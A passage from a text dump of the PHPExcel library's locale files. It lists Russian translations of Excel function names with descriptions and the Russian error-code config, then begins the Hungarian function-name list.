шестнадцатеричное. ## ## Financial functions Финансовые функции ## ACCRINT = НАКОПДОХОД ## Возвращает накопленный процент по ценным бумагам с периодической выплатой процентов. ACCRINTM = НАКОПДОХОДПОГАШ ## Возвращает накопленный процент по ценным бумагам, проценты по которым выплачиваются в срок погашения. AMORDEGRC = АМОРУМ ## Возвращает величину амортизации для каждого периода, используя коэффициент амортизации. AMORLINC = АМОРУВ ## Возвращает величину амортизации для каждого периода. COUPDAYBS = ДНЕЙКУПОНДО ## Возвращает количество дней от начала действия купона до даты соглашения. COUPDAYS = ДНЕЙКУПОН ## Возвращает число дней в периоде купона, содержащем дату соглашения. COUPDAYSNC = ДНЕЙКУПОНПОСЛЕ ## Возвращает число дней от даты соглашения до срока следующего купона. COUPNCD = ДАТАКУПОНПОСЛЕ ## Возвращает следующую дату купона после даты соглашения. COUPNUM = ЧИСЛКУПОН ## Возвращает количество купонов, которые могут быть оплачены между датой соглашения и сроком вступления в силу. COUPPCD = ДАТАКУПОНДО ## Возвращает предыдущую дату купона перед датой соглашения. CUMIPMT = ОБЩПЛАТ ## Возвращает общую выплату, произведенную между двумя периодическими выплатами. CUMPRINC = ОБЩДОХОД ## Возвращает общую выплату по займу между двумя периодами. DB = ФУО ## Возвращает величину амортизации актива для заданного периода, рассчитанную методом фиксированного уменьшения остатка. DDB = ДДОБ ## Возвращает величину амортизации актива за данный период, используя метод двойного уменьшения остатка или иной явно указанный метод. DISC = СКИДКА ## Возвращает норму скидки для ценных бумаг. DOLLARDE = РУБЛЬ.ДЕС ## Преобразует цену в рублях, выраженную в виде дроби, в цену в рублях, выраженную десятичным числом. DOLLARFR = РУБЛЬ.ДРОБЬ ## Преобразует цену в рублях, выраженную десятичным числом, в цену в рублях, выраженную в виде дроби. DURATION = ДЛИТ ## Возвращает ежегодную продолжительность действия ценных бумаг с периодическими выплатами по процентам. EFFECT = ЭФФЕКТ ## Возвращает действующие ежегодные процентные ставки. FV = БС ## Возвращает будущую стоимость инвестиции. FVSCHEDULE = БЗРАСПИС ## Возвращает будущую стоимость первоначальной основной суммы после начисления ряда сложных процентов. INTRATE = ИНОРМА ## Возвращает процентную ставку для полностью инвестированных ценных бумаг. IPMT = ПРПЛТ ## Возвращает величину выплаты прибыли на вложения за данный период. IRR = ВСД ## Возвращает внутреннюю ставку доходности для ряда потоков денежных средств. ISPMT = ПРОЦПЛАТ ## Вычисляет выплаты за указанный период инвестиции. MDURATION = МДЛИТ ## Возвращает модифицированную длительность Маколея для ценных бумаг с предполагаемой номинальной стоимостью 100 рублей. MIRR = МВСД ## Возвращает внутреннюю ставку доходности, при которой положительные и отрицательные денежные потоки имеют разные значения ставки. NOMINAL = НОМИНАЛ ## Возвращает номинальную годовую процентную ставку. NPER = КПЕР ## Возвращает общее количество периодов выплаты для данного вклада. NPV = ЧПС ## Возвращает чистую приведенную стоимость инвестиции, основанной на серии периодических денежных потоков и ставке дисконтирования. ODDFPRICE = ЦЕНАПЕРВНЕРЕГ ## Возвращает цену за 100 рублей нарицательной стоимости ценных бумаг с нерегулярным первым периодом. ODDFYIELD = ДОХОДПЕРВНЕРЕГ ## Возвращает доход по ценным бумагам с нерегулярным первым периодом. ODDLPRICE = ЦЕНАПОСЛНЕРЕГ ## Возвращает цену за 100 рублей нарицательной стоимости ценных бумаг с нерегулярным последним периодом. ODDLYIELD = ДОХОДПОСЛНЕРЕГ ## Возвращает доход по ценным бумагам с нерегулярным последним периодом. PMT = ПЛТ ## Возвращает величину выплаты за один период аннуитета. PPMT = ОСПЛТ ## Возвращает величину выплат в погашение основной суммы по инвестиции за заданный период. PRICE = ЦЕНА ## Возвращает цену за 100 рублей нарицательной стоимости ценных бумаг, по которым производится периодическая выплата процентов. PRICEDISC = ЦЕНАСКИДКА ## Возвращает цену за 100 рублей номинальной стоимости ценных бумаг, на которые сделана скидка. PRICEMAT = ЦЕНАПОГАШ ## Возвращает цену за 100 рублей номинальной стоимости ценных бумаг, проценты по которым выплачиваются в срок погашения. PV = ПС ## Возвращает приведенную (к текущему моменту) стоимость инвестиции. RATE = СТАВКА ## Возвращает процентную ставку по аннуитету за один период. RECEIVED = ПОЛУЧЕНО ## Возвращает сумму, полученную к сроку погашения полностью обеспеченных ценных бумаг. SLN = АПЛ ## Возвращает величину линейной амортизации актива за один период. SYD = АСЧ ## Возвращает величину амортизации актива за данный период, рассчитанную методом суммы годовых чисел. TBILLEQ = РАВНОКЧЕК ## Возвращает эквивалентный облигации доход по казначейскому чеку. TBILLPRICE = ЦЕНАКЧЕК ## Возвращает цену за 100 рублей нарицательной стоимости для казначейского чека. TBILLYIELD = ДОХОДКЧЕК ## Возвращает доход по казначейскому чеку. VDB = ПУО ## Возвращает величину амортизации актива для указанного или частичного периода при использовании метода сокращающегося баланса. XIRR = ЧИСТВНДОХ ## Возвращает внутреннюю ставку доходности для графика денежных потоков, которые не обязательно носят периодический характер. XNPV = ЧИСТНЗ ## Возвращает чистую приведенную стоимость для денежных потоков, которые не обязательно являются периодическими. YIELD = ДОХОД ## Возвращает доход от ценных бумаг, по которым производятся периодические выплаты процентов. YIELDDISC = ДОХОДСКИДКА ## Возвращает годовой доход по ценным бумагам, на которые сделана скидка (пример — казначейские чеки). YIELDMAT = ДОХОДПОГАШ ## Возвращает годовой доход от ценных бумаг, проценты по которым выплачиваются в срок погашения. ## ## Information functions Информационные функции ## CELL = ЯЧЕЙКА ## Возвращает информацию о формате, расположении или содержимом ячейки. ERROR.TYPE = ТИП.ОШИБКИ ## Возвращает числовой код, соответствующий типу ошибки. INFO = ИНФОРМ ## Возвращает информацию о текущей операционной среде. ISBLANK = ЕПУСТО ## Возвращает значение ИСТИНА, если аргумент является ссылкой на пустую ячейку. ISERR = ЕОШ ## Возвращает значение ИСТИНА, если аргумент ссылается на любое значение ошибки, кроме #Н/Д. ISERROR = ЕОШИБКА ## Возвращает значение ИСТИНА, если аргумент ссылается на любое значение ошибки. ISEVEN = ЕЧЁТН ## Возвращает значение ИСТИНА, если значение аргумента является четным числом. ISLOGICAL = ЕЛОГИЧ ## Возвращает значение ИСТИНА, если аргумент ссылается на логическое значение. ISNA = ЕНД ## Возвращает значение ИСТИНА, если аргумент ссылается на значение ошибки #Н/Д. ISNONTEXT = ЕНЕТЕКСТ ## Возвращает значение ИСТИНА, если значение аргумента не является текстом. ISNUMBER = ЕЧИСЛО ## Возвращает значение ИСТИНА, если аргумент ссылается на число. ISODD = ЕНЕЧЁТ ## Возвращает значение ИСТИНА, если значение аргумента является нечетным числом. ISREF = ЕССЫЛКА ## Возвращает значение ИСТИНА, если значение аргумента является ссылкой. ISTEXT = ЕТЕКСТ ## Возвращает значение ИСТИНА, если значение аргумента является текстом. N = Ч ## Возвращает значение, преобразованное в число. NA = НД ## Возвращает значение ошибки #Н/Д. TYPE = ТИП ## Возвращает число, обозначающее тип данных значения. ## ## Logical functions Логические функции ## AND = И ## Renvoie VRAI si tous ses arguments sont VRAI. FALSE = ЛОЖЬ ## Возвращает логическое значение ЛОЖЬ. IF = ЕСЛИ ## Выполняет проверку условия. IFERROR = ЕСЛИОШИБКА ## Возвращает введённое значение, если вычисление по формуле вызывает ошибку; в противном случае функция возвращает результат вычисления. NOT = НЕ ## Меняет логическое значение своего аргумента на противоположное. OR = ИЛИ ## Возвращает значение ИСТИНА, если хотя бы один аргумент имеет значение ИСТИНА. TRUE = ИСТИНА ## Возвращает логическое значение ИСТИНА. ## ## Lookup and reference functions Функции ссылки и поиска ## ADDRESS = АДРЕС ## Возвращает ссылку на отдельную ячейку листа в виде текста. AREAS = ОБЛАСТИ ## Возвращает количество областей в ссылке. CHOOSE = ВЫБОР ## Выбирает значение из списка значений по индексу. COLUMN = СТОЛБЕЦ ## Возвращает номер столбца, на который указывает ссылка. COLUMNS = ЧИСЛСТОЛБ ## Возвращает количество столбцов в ссылке. HLOOKUP = ГПР ## Ищет в первой строке массива и возвращает значение отмеченной ячейки HYPERLINK = ГИПЕРССЫЛКА ## Создает ссылку, открывающую документ, который находится на сервере сети, в интрасети или в Интернете. INDEX = ИНДЕКС ## Использует индекс для выбора значения из ссылки или массива. INDIRECT = ДВССЫЛ ## Возвращает ссылку, заданную текстовым значением. LOOKUP = ПРОСМОТР ## Ищет значения в векторе или массиве. MATCH = ПОИСКПОЗ ## Ищет значения в ссылке или массиве. OFFSET = СМЕЩ ## Возвращает смещение ссылки относительно заданной ссылки. ROW = СТРОКА ## Возвращает номер строки, определяемой ссылкой. ROWS = ЧСТРОК ## Возвращает количество строк в ссылке. RTD = ДРВ ## Извлекает данные реального времени из программ, поддерживающих автоматизацию COM (Программирование объектов. Стандартное средство для работы с объектами некоторого приложения из другого приложения или средства разработки. Программирование объектов (ранее называемое программированием OLE) является функцией модели COM (Component Object Model, модель компонентных объектов).). TRANSPOSE = ТРАНСП ## Возвращает транспонированный массив. VLOOKUP = ВПР ## Ищет значение в первом столбце массива и возвращает значение из ячейки в найденной строке и указанном столбце. ## ## Math and trigonometry functions Математические и тригонометрические функции ## ABS = ABS ## Возвращает модуль (абсолютную величину) числа. ACOS = ACOS ## Возвращает арккосинус числа. ACOSH = ACOSH ## Возвращает гиперболический арккосинус числа. ASIN = ASIN ## Возвращает арксинус числа. ASINH = ASINH ## Возвращает гиперболический арксинус числа. ATAN = ATAN ## Возвращает арктангенс числа. ATAN2 = ATAN2 ## Возвращает арктангенс для заданных координат x и y. ATANH = ATANH ## Возвращает гиперболический арктангенс числа. CEILING = ОКРВВЕРХ ## Округляет число до ближайшего целого или до ближайшего кратного указанному значению. COMBIN = ЧИСЛКОМБ ## Возвращает количество комбинаций для заданного числа объектов. COS = COS ## Возвращает косинус числа. COSH = COSH ## Возвращает гиперболический косинус числа. DEGREES = ГРАДУСЫ ## Преобразует радианы в градусы. EVEN = ЧЁТН ## Округляет число до ближайшего четного целого. EXP = EXP ## Возвращает число e, возведенное в указанную степень. FACT = ФАКТР ## Возвращает факториал числа. FACTDOUBLE = ДВФАКТР ## Возвращает двойной факториал числа. FLOOR = ОКРВНИЗ ## Округляет число до ближайшего меньшего по модулю значения. GCD = НОД ## Возвращает наибольший общий делитель. INT = ЦЕЛОЕ ## Округляет число до ближайшего меньшего целого. LCM = НОК ## Возвращает наименьшее общее кратное. LN = LN ## Возвращает натуральный логарифм числа. LOG = LOG ## Возвращает логарифм числа по заданному основанию. LOG10 = LOG10 ## Возвращает десятичный логарифм числа. MDETERM = МОПРЕД ## Возвращает определитель матрицы массива. MINVERSE = МОБР ## Возвращает обратную матрицу массива. MMULT = МУМНОЖ ## Возвращает произведение матриц двух массивов. MOD = ОСТАТ ## Возвращает остаток от деления. MROUND = ОКРУГЛТ ## Возвращает число, округленное с требуемой точностью. MULTINOMIAL = МУЛЬТИНОМ ## Возвращает мультиномиальный коэффициент множества чисел. ODD = НЕЧЁТ ## Округляет число до ближайшего нечетного целого. PI = ПИ ## Возвращает число пи. POWER = СТЕПЕНЬ ## Возвращает результат возведения числа в степень. PRODUCT = ПРОИЗВЕД ## Возвращает произведение аргументов. QUOTIENT = ЧАСТНОЕ ## Возвращает целую часть частного при делении. RADIANS = РАДИАНЫ ## Преобразует градусы в радианы. RAND = СЛЧИС ## Возвращает случайное число в интервале от 0 до 1. RANDBETWEEN = СЛУЧМЕЖДУ ## Возвращает случайное число в интервале между двумя заданными числами. ROMAN = РИМСКОЕ ## Преобразует арабские цифры в римские в виде текста. ROUND = ОКРУГЛ ## Округляет число до указанного количества десятичных разрядов. ROUNDDOWN = ОКРУГЛВНИЗ ## Округляет число до ближайшего меньшего по модулю значения. ROUNDUP = ОКРУГЛВВЕРХ ## Округляет число до ближайшего большего по модулю значения. SERIESSUM = РЯД.СУММ ## Возвращает сумму степенного ряда, вычисленную по формуле. SIGN = ЗНАК ## Возвращает знак числа. SIN = SIN ## Возвращает синус заданного угла. SINH = SINH ## Возвращает гиперболический синус числа. SQRT = КОРЕНЬ ## Возвращает положительное значение квадратного корня. SQRTPI = КОРЕНЬПИ ## Возвращает квадратный корень из значения выражения (число * ПИ). SUBTOTAL = ПРОМЕЖУТОЧНЫЕ.ИТОГИ ## Возвращает промежуточный итог в списке или базе данных. SUM = СУММ ## Суммирует аргументы. SUMIF = СУММЕСЛИ ## Суммирует ячейки, удовлетворяющие заданному условию. SUMIFS = СУММЕСЛИМН ## Суммирует диапазон ячеек, удовлетворяющих нескольким условиям. SUMPRODUCT = СУММПРОИЗВ ## Возвращает сумму произведений соответствующих элементов массивов. SUMSQ = СУММКВ ## Возвращает сумму квадратов аргументов. SUMX2MY2 = СУММРАЗНКВ ## Возвращает сумму разностей квадратов соответствующих значений в двух массивах. SUMX2PY2 = СУММСУММКВ ## Возвращает сумму сумм квадратов соответствующих элементов двух массивов. SUMXMY2 = СУММКВРАЗН ## Возвращает сумму квадратов разностей соответствующих значений в двух массивах. TAN = TAN ## Возвращает тангенс числа. TANH = TANH ## Возвращает гиперболический тангенс числа. TRUNC = ОТБР ## Отбрасывает дробную часть числа. ## ## Statistical functions Статистические функции ## AVEDEV = СРОТКЛ ## Возвращает среднее арифметическое абсолютных значений отклонений точек данных от среднего. AVERAGE = СРЗНАЧ ## Возвращает среднее арифметическое аргументов. AVERAGEA = СРЗНАЧА ## Возвращает среднее арифметическое аргументов, включая числа, текст и логические значения. AVERAGEIF = СРЗНАЧЕСЛИ ## Возвращает среднее значение (среднее арифметическое) всех ячеек в диапазоне, которые удовлетворяют данному условию. AVERAGEIFS = СРЗНАЧЕСЛИМН ## Возвращает среднее значение (среднее арифметическое) всех ячеек, которые удовлетворяют нескольким условиям. BETADIST = БЕТАРАСП ## Возвращает интегральную функцию бета-распределения. BETAINV = БЕТАОБР ## Возвращает обратную интегральную функцию указанного бета-распределения. BINOMDIST = БИНОМРАСП ## Возвращает отдельное значение биномиального распределения. CHIDIST = ХИ2РАСП ## Возвращает одностороннюю вероятность распределения хи-квадрат. CHIINV = ХИ2ОБР ## Возвращает обратное значение односторонней вероятности распределения хи-квадрат. CHITEST = ХИ2ТЕСТ ## Возвращает тест на независимость. CONFIDENCE = ДОВЕРИТ ## Возвращает доверительный интервал для среднего значения по генеральной совокупности. CORREL = КОРРЕЛ ## Возвращает коэффициент корреляции между двумя множествами данных. COUNT = СЧЁТ ## Подсчитывает количество чисел в списке аргументов. COUNTA = СЧЁТЗ ## Подсчитывает количество значений в списке аргументов. COUNTBLANK = СЧИТАТЬПУСТОТЫ ## Подсчитывает количество пустых ячеек в диапазоне COUNTIF = СЧЁТЕСЛИ ## Подсчитывает количество ячеек в диапазоне, удовлетворяющих заданному условию COUNTIFS = СЧЁТЕСЛИМН ## Подсчитывает количество ячеек внутри диапазона, удовлетворяющих нескольким условиям. COVAR = КОВАР ## Возвращает ковариацию, среднее произведений парных отклонений CRITBINOM = КРИТБИНОМ ## Возвращает наименьшее значение, для которого интегральное биномиальное распределение меньше или равно заданному критерию. DEVSQ = КВАДРОТКЛ ## Возвращает сумму квадратов отклонений. EXPONDIST = ЭКСПРАСП ## Возвращает экспоненциальное распределение. FDIST = FРАСП ## Возвращает F-распределение вероятности. FINV = FРАСПОБР ## Возвращает обратное значение для F-распределения вероятности. FISHER = ФИШЕР ## Возвращает преобразование Фишера. FISHERINV = ФИШЕРОБР ## Возвращает обратное преобразование Фишера. FORECAST = ПРЕДСКАЗ ## Возвращает значение линейного тренда. FREQUENCY = ЧАСТОТА ## Возвращает распределение частот в виде вертикального массива. FTEST = ФТЕСТ ## Возвращает результат F-теста. GAMMADIST = ГАММАРАСП ## Возвращает гамма-распределение. GAMMAINV = ГАММАОБР ## Возвращает обратное гамма-распределение. GAMMALN = ГАММАНЛОГ ## Возвращает натуральный логарифм гамма функции, Γ(x). GEOMEAN = СРГЕОМ ## Возвращает среднее геометрическое. GROWTH = РОСТ ## Возвращает значения в соответствии с экспоненциальным трендом. HARMEAN = СРГАРМ ## Возвращает среднее гармоническое. HYPGEOMDIST = ГИПЕРГЕОМЕТ ## Возвращает гипергеометрическое распределение. INTERCEPT = ОТРЕЗОК ## Возвращает отрезок, отсекаемый на оси линией линейной регрессии. KURT = ЭКСЦЕСС ## Возвращает эксцесс множества данных. LARGE = НАИБОЛЬШИЙ ## Возвращает k-ое наибольшее значение в множестве данных. LINEST = ЛИНЕЙН ## Возвращает параметры линейного тренда. LOGEST = ЛГРФПРИБЛ ## Возвращает параметры экспоненциального тренда. LOGINV = ЛОГНОРМОБР ## Возвращает обратное логарифмическое нормальное распределение. LOGNORMDIST = ЛОГНОРМРАСП ## Возвращает интегральное логарифмическое нормальное распределение. MAX = МАКС ## Возвращает наибольшее значение в списке аргументов. MAXA = МАКСА ## Возвращает наибольшее значение в списке аргументов, включая числа, текст и логические значения. MEDIAN = МЕДИАНА ## Возвращает медиану заданных чисел. MIN = МИН ## Возвращает наименьшее значение в списке аргументов. MINA = МИНА ## Возвращает наименьшее значение в списке аргументов, включая числа, текст и логические значения. MODE = МОДА ## Возвращает значение моды множества данных. NEGBINOMDIST = ОТРБИНОМРАСП ## Возвращает отрицательное биномиальное распределение. NORMDIST = НОРМРАСП ## Возвращает нормальную функцию распределения. NORMINV = НОРМОБР ## Возвращает обратное нормальное распределение. NORMSDIST = НОРМСТРАСП ## Возвращает стандартное нормальное интегральное распределение. NORMSINV = НОРМСТОБР ## Возвращает обратное значение стандартного нормального распределения. PEARSON = ПИРСОН ## Возвращает коэффициент корреляции Пирсона. PERCENTILE = ПЕРСЕНТИЛЬ ## Возвращает k-ую персентиль для значений диапазона. PERCENTRANK = ПРОЦЕНТРАНГ ## Возвращает процентную норму значения в множестве данных. PERMUT = ПЕРЕСТ ## Возвращает количество перестановок для заданного числа объектов. POISSON = ПУАССОН ## Возвращает распределение Пуассона. PROB = ВЕРОЯТНОСТЬ ## Возвращает вероятность того, что значение из диапазона находится внутри заданных пределов. QUARTILE = КВАРТИЛЬ ## Возвращает квартиль множества данных. RANK = РАНГ ## Возвращает ранг числа в списке чисел. RSQ = КВПИРСОН ## Возвращает квадрат коэффициента корреляции Пирсона. SKEW = СКОС ## Возвращает асимметрию распределения. SLOPE = НАКЛОН ## Возвращает наклон линии линейной регрессии. SMALL = НАИМЕНЬШИЙ ## Возвращает k-ое наименьшее значение в множестве данных. STANDARDIZE = НОРМАЛИЗАЦИЯ ## Возвращает нормализованное значение. STDEV = СТАНДОТКЛОН ## Оценивает стандартное отклонение по выборке. STDEVA = СТАНДОТКЛОНА ## Оценивает стандартное отклонение по выборке, включая числа, текст и логические значения. STDEVP = СТАНДОТКЛОНП ## Вычисляет стандартное отклонение по генеральной совокупности. STDEVPA = СТАНДОТКЛОНПА ## Вычисляет стандартное отклонение по генеральной совокупности, включая числа, текст и логические значения. STEYX = СТОШYX ## Возвращает стандартную ошибку предсказанных значений y для каждого значения x в регрессии. TDIST = СТЬЮДРАСП ## Возвращает t-распределение Стьюдента. TINV = СТЬЮДРАСПОБР ## Возвращает обратное t-распределение Стьюдента. TREND = ТЕНДЕНЦИЯ ## Возвращает значения в соответствии с линейным трендом. TRIMMEAN = УРЕЗСРЕДНЕЕ ## Возвращает среднее внутренности множества данных. TTEST = ТТЕСТ ## Возвращает вероятность, соответствующую критерию Стьюдента. VAR = ДИСП ## Оценивает дисперсию по выборке. VARA = ДИСПА ## Оценивает дисперсию по выборке, включая числа, текст и логические значения. VARP = ДИСПР ## Вычисляет дисперсию для генеральной совокупности. VARPA = ДИСПРА ## Вычисляет дисперсию для генеральной совокупности, включая числа, текст и логические значения. WEIBULL = ВЕЙБУЛЛ ## Возвращает распределение Вейбулла. ZTEST = ZТЕСТ ## Возвращает двустороннее P-значение z-теста. ## ## Text functions Текстовые функции ## ASC = ASC ## Для языков с двухбайтовыми наборами знаков (например, катакана) преобразует полноширинные (двухбайтовые) знаки в полуширинные (однобайтовые). BAHTTEXT = БАТТЕКСТ ## Преобразует число в текст, используя денежный формат ß (БАТ). CHAR = СИМВОЛ ## Возвращает знак с заданным кодом. CLEAN = ПЕЧСИМВ ## Удаляет все непечатаемые знаки из текста. CODE = КОДСИМВ ## Возвращает числовой код первого знака в текстовой строке. CONCATENATE = СЦЕПИТЬ ## Объединяет несколько текстовых элементов в один. DOLLAR = РУБЛЬ ## Преобразует число в текст, используя денежный формат. EXACT = СОВПАД ## Проверяет идентичность двух текстовых значений. FIND = НАЙТИ ## Ищет вхождения одного текстового значения в другом (с учетом регистра). FINDB = НАЙТИБ ## Ищет вхождения одного текстового значения в другом (с учетом регистра). FIXED = ФИКСИРОВАННЫЙ ## Форматирует число и преобразует его в текст с заданным числом десятичных знаков. JIS = JIS ## Для языков с двухбайтовыми наборами знаков (например, катакана) преобразует полуширинные (однобайтовые) знаки в текстовой строке в полноширинные (двухбайтовые). LEFT = ЛЕВСИМВ ## Возвращает крайние слева знаки текстового значения. LEFTB = ЛЕВБ ## Возвращает крайние слева знаки текстового значения. LEN = ДЛСТР ## Возвращает количество знаков в текстовой строке. LENB = ДЛИНБ ## Возвращает количество знаков в текстовой строке. LOWER = СТРОЧН ## Преобразует все буквы текста в строчные. MID = ПСТР ## Возвращает заданное число знаков из строки текста, начиная с указанной позиции. MIDB = ПСТРБ ## Возвращает заданное число знаков из строки текста, начиная с указанной позиции. PHONETIC = PHONETIC ## Извлекает фонетические (фуригана) знаки из текстовой строки. PROPER = ПРОПНАЧ ## Преобразует первую букву в каждом слове текста в прописную. REPLACE = ЗАМЕНИТЬ ## Заменяет знаки в тексте. REPLACEB = ЗАМЕНИТЬБ ## Заменяет знаки в тексте. REPT = ПОВТОР ## Повторяет текст заданное число раз. RIGHT = ПРАВСИМВ ## Возвращает крайние справа знаки текстовой строки. RIGHTB = ПРАВБ ## Возвращает крайние справа знаки текстовой строки. SEARCH = ПОИСК ## Ищет вхождения одного текстового значения в другом (без учета регистра). SEARCHB = ПОИСКБ ## Ищет вхождения одного текстового значения в другом (без учета регистра). SUBSTITUTE = ПОДСТАВИТЬ ## Заменяет в текстовой строке старый текст новым. T = Т ## Преобразует аргументы в текст. TEXT = ТЕКСТ ## Форматирует число и преобразует его в текст. TRIM = СЖПРОБЕЛЫ ## Удаляет из текста пробелы. UPPER = ПРОПИСН ## Преобразует все буквы текста в прописные. VALUE = ЗНАЧЕН ## Преобразует текстовый аргумент в число. PHPExcel/locale/ru/config 0000644 00000002506 14642534110 0011234 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = р ## ## Excel Error Codes (For future use) ## NULL = #ПУСТО! DIV0 = #ДЕЛ/0! VALUE = #ЗНАЧ! REF = #ССЫЛ! NAME = #ИМЯ? NUM = #ЧИСЛО! NA = #Н/Д PHPExcel/locale/hu/functions 0000644 00000105430 14642534110 0011765 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Bővítmények és automatizálási függvények ## GETPIVOTDATA = KIMUTATÁSADATOT.VESZ ## A kimutatásokban tárolt adatok visszaadására használható. ## ## Cube functions Kockafüggvények ## CUBEKPIMEMBER = KOCKA.FŐTELJMUT ## Egy fő teljesítménymutató (KPI) nevét, tulajdonságát és mértékegységét adja eredményül, a nevet és a tulajdonságot megjeleníti a cellában. A KPI-k számszerűsíthető mérési lehetőséget jelentenek – ilyen mutató például a havi bruttó nyereség vagy az egy alkalmazottra jutó negyedéves forgalom –, egy szervezet teljesítményének nyomonkövetésére használhatók. CUBEMEMBER = KOCKA.TAG ## Kockahierachia tagját vagy rekordját adja eredményül. Ellenőrizhető vele, hogy szerepel-e a kockában az adott tag vagy rekord. CUBEMEMBERPROPERTY = KOCKA.TAG.TUL ## A kocka egyik tagtulajdonságának értékét adja eredményül. Használatával ellenőrizhető, hogy szerepel-e egy tagnév a kockában, eredménye pedig az erre a tagra vonatkozó, megadott tulajdonság. CUBERANKEDMEMBER = KOCKA.HALM.ELEM ## Egy halmaz rangsor szerinti n-edik tagját adja eredményül. Használatával egy halmaz egy vagy több elemét kaphatja meg, például a legnagyobb teljesítményű üzletkötőt vagy a 10 legjobb tanulót. CUBESET = KOCKA.HALM ## Számított tagok vagy rekordok halmazát adja eredményül, ehhez egy beállított kifejezést elküld a kiszolgálón található kockának, majd ezt a halmazt adja vissza a Microsoft Office Excel alkalmazásnak. CUBESETCOUNT = KOCKA.HALM.DB ## Egy halmaz elemszámát adja eredményül. CUBEVALUE = KOCKA.ÉRTÉK ## Kockából összesített értéket ad eredményül. ## ## Database functions Adatbázis-kezelő függvények ## DAVERAGE = AB.ÁTLAG ## A kijelölt adatbáziselemek átlagát számítja ki. DCOUNT = AB.DARAB ## Megszámolja, hogy az adatbázisban hány cella tartalmaz számokat. DCOUNTA = AB.DARAB2 ## Megszámolja az adatbázisban lévő nem üres cellákat. DGET = AB.MEZŐ ## Egy adatbázisból egyetlen olyan rekordot ad vissza, amely megfelel a megadott feltételeknek. DMAX = AB.MAX ## A kiválasztott adatbáziselemek közül a legnagyobb értéket adja eredményül. DMIN = AB.MIN ## A kijelölt adatbáziselemek közül a legkisebb értéket adja eredményül. DPRODUCT = AB.SZORZAT ## Az adatbázis megadott feltételeknek eleget tevő rekordjaira összeszorozza a megadott mezőben található számértékeket, és eredményül ezt a szorzatot adja. DSTDEV = AB.SZÓRÁS ## A kijelölt adatbáziselemek egy mintája alapján megbecsüli a szórást. DSTDEVP = AB.SZÓRÁS2 ## A kijelölt adatbáziselemek teljes sokasága alapján kiszámítja a szórást. DSUM = AB.SZUM ## Összeadja a feltételnek megfelelő adatbázisrekordok mezőoszlopában a számokat. DVAR = AB.VAR ## A kijelölt adatbáziselemek mintája alapján becslést ad a szórásnégyzetre. DVARP = AB.VAR2 ## A kijelölt adatbáziselemek teljes sokasága alapján kiszámítja a szórásnégyzetet. ## ## Date and time functions Dátumfüggvények ## DATE = DÁTUM ## Adott dátum dátumértékét adja eredményül. DATEVALUE = DÁTUMÉRTÉK ## Szövegként megadott dátumot dátumértékké alakít át. DAY = NAP ## Dátumértéket a hónap egy napjává (0-31) alakít. DAYS360 = NAP360 ## Két dátum közé eső napok számát számítja ki a 360 napos év alapján. EDATE = EDATE ## Adott dátumnál adott számú hónappal korábbi vagy későbbi dátum dátumértékét adja eredményül. EOMONTH = EOMONTH ## Adott dátumnál adott számú hónappal korábbi vagy későbbi hónap utolsó napjának dátumértékét adja eredményül. HOUR = ÓRA ## Időértéket órákká alakít. MINUTE = PERC ## Időértéket percekké alakít. MONTH = HÓNAP ## Időértéket hónapokká alakít. NETWORKDAYS = NETWORKDAYS ## Két dátum között a teljes munkanapok számát adja meg. NOW = MOST ## A napi dátum dátumértékét és a pontos idő időértékét adja eredményül. SECOND = MPERC ## Időértéket másodpercekké alakít át. TIME = IDŐ ## Adott időpont időértékét adja meg. TIMEVALUE = IDŐÉRTÉK ## Szövegként megadott időpontot időértékké alakít át. TODAY = MA ## A napi dátum dátumértékét adja eredményül. WEEKDAY = HÉT.NAPJA ## Dátumértéket a hét napjává alakítja át. WEEKNUM = WEEKNUM ## Visszatérési értéke egy szám, amely azt mutatja meg, hogy a megadott dátum az év hányadik hetére esik. WORKDAY = WORKDAY ## Adott dátumnál adott munkanappal korábbi vagy későbbi dátum dátumértékét adja eredményül. YEAR = ÉV ## Sorszámot évvé alakít át. YEARFRAC = YEARFRAC ## Az adott dátumok közötti teljes napok számát törtévként adja meg. ## ## Engineering functions Mérnöki függvények ## BESSELI = BESSELI ## Az In(x) módosított Bessel-függvény értékét adja eredményül. BESSELJ = BESSELJ ## A Jn(x) Bessel-függvény értékét adja eredményül. BESSELK = BESSELK ## A Kn(x) módosított Bessel-függvény értékét adja eredményül. BESSELY = BESSELY ## Az Yn(x) módosított Bessel-függvény értékét adja eredményül. BIN2DEC = BIN2DEC ## Bináris számot decimálissá alakít át. BIN2HEX = BIN2HEX ## Bináris számot hexadecimálissá alakít át. BIN2OCT = BIN2OCT ## Bináris számot oktálissá alakít át. COMPLEX = COMPLEX ## Valós és képzetes részből komplex számot képez. CONVERT = CONVERT ## Mértékegységeket vált át. DEC2BIN = DEC2BIN ## 